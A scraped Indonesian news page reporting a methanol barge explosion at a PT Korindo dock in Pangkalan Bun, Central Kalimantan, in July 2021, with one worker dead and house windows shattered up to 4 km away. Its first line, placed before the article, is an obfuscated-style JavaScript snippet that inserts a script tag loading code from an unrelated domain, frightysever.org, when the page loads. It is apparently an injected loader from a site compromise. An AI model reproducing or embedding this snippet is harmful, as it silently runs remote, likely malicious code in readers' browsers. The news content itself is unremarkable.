(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Tengah

Radius Ledakan Tongkang Methanol Terdengar hingga 4 Km, Kaca Rumah Warga Pecah


KANALKALIMANTAN.COM, PANGKALAN BUN – Ledakan dahsyat akibat tongkang methanol di di area Korindo, Kelurahan Mendawai RT 11, Kabupaten Kotawaringin Barat (Kobar), mengejutkan warga sekitar lokasi, Senin (5/7/2021). Saking kerasnya ledakan, dikabarkan hingga membuat kaca rumah warga di sekitar lokasi pecah.

Ledakan tersebut bahkan sampai radius 3-4 km. Banyak yang mengira ledakan dan getaran tersebut dikira gempa. “Ledakannya begitu kuat, beberapa kaca rumah sampai pecah,” kata seorang warga di sekitar lokasi.

Informasi sementara yang dihimpun, ledakan tersebut akibat perbaikan kapal tongkang menggunakan las, dan diduga ada yang merokok atau sumber api, sehingga menyebabkan terjadinya ledakan itu.

Sebelumnya disebutkan, kapal tongkang milik PT Korindo Ariabimasari, Pangkalan Bun, Kabupaten Kotawaringin Barat (Kobar), Kalteng meledak hebat Senin (5/7/2021) sekitar pukul 10.07 WIB.

 

 

Baca juga: Akhir Bulan Ini Inggris Tak Lagi Wajibkan Masker, Boleh Adakan Festival

Ledakan hebat terjadi di sekitar Sungai Arut di sekitar dermaga perusahaan PT Korindo Ariabimasari, di Kelurahan Mendawai RT 11, Kabupaten Kotawaringin Barat (Kobar). Suara ledakan mencapai radius 4 kilometer dan sempat mengagetkan warga Pangkalan Bun. Tongkang tersebut mengangkut cairan methanol.

Dikabarkan dalam peristiwa ini pekerja tongkang satu orang meninggal atas nama Fauzi, satu orang luka bakar serius dan sudah dilarikan ke RS Sultan Imanuddin Pangkalan Bun dan dua pekerja lainnya selamat.

Dalam rekaman CCTV yang beredar kapal tongkang meledak dengan keras sehingga menyebabkan sejumlah material tongkang berterbangan ke udara. “Sekitar pukul 10.15 WIB kami menerima laporan meledaknya tongkang dan kita langsung meluncur ke TKP,” ujar Kabid Damkar Kobar Agus Dwi Suhartoni.

Hingga berita ini diturunkan, Kanalkalimantan.com masih menunggu informasi lebih lanjut terkait penyebab kejadian tersebut.(kanalkalimantan.com/kk)

Reporter: kk
Editor: cell


Risa

Recent Posts

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

45 menit ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

3 jam ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

3 jam ago

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

15 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

17 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

22 jam ago

This website uses cookies.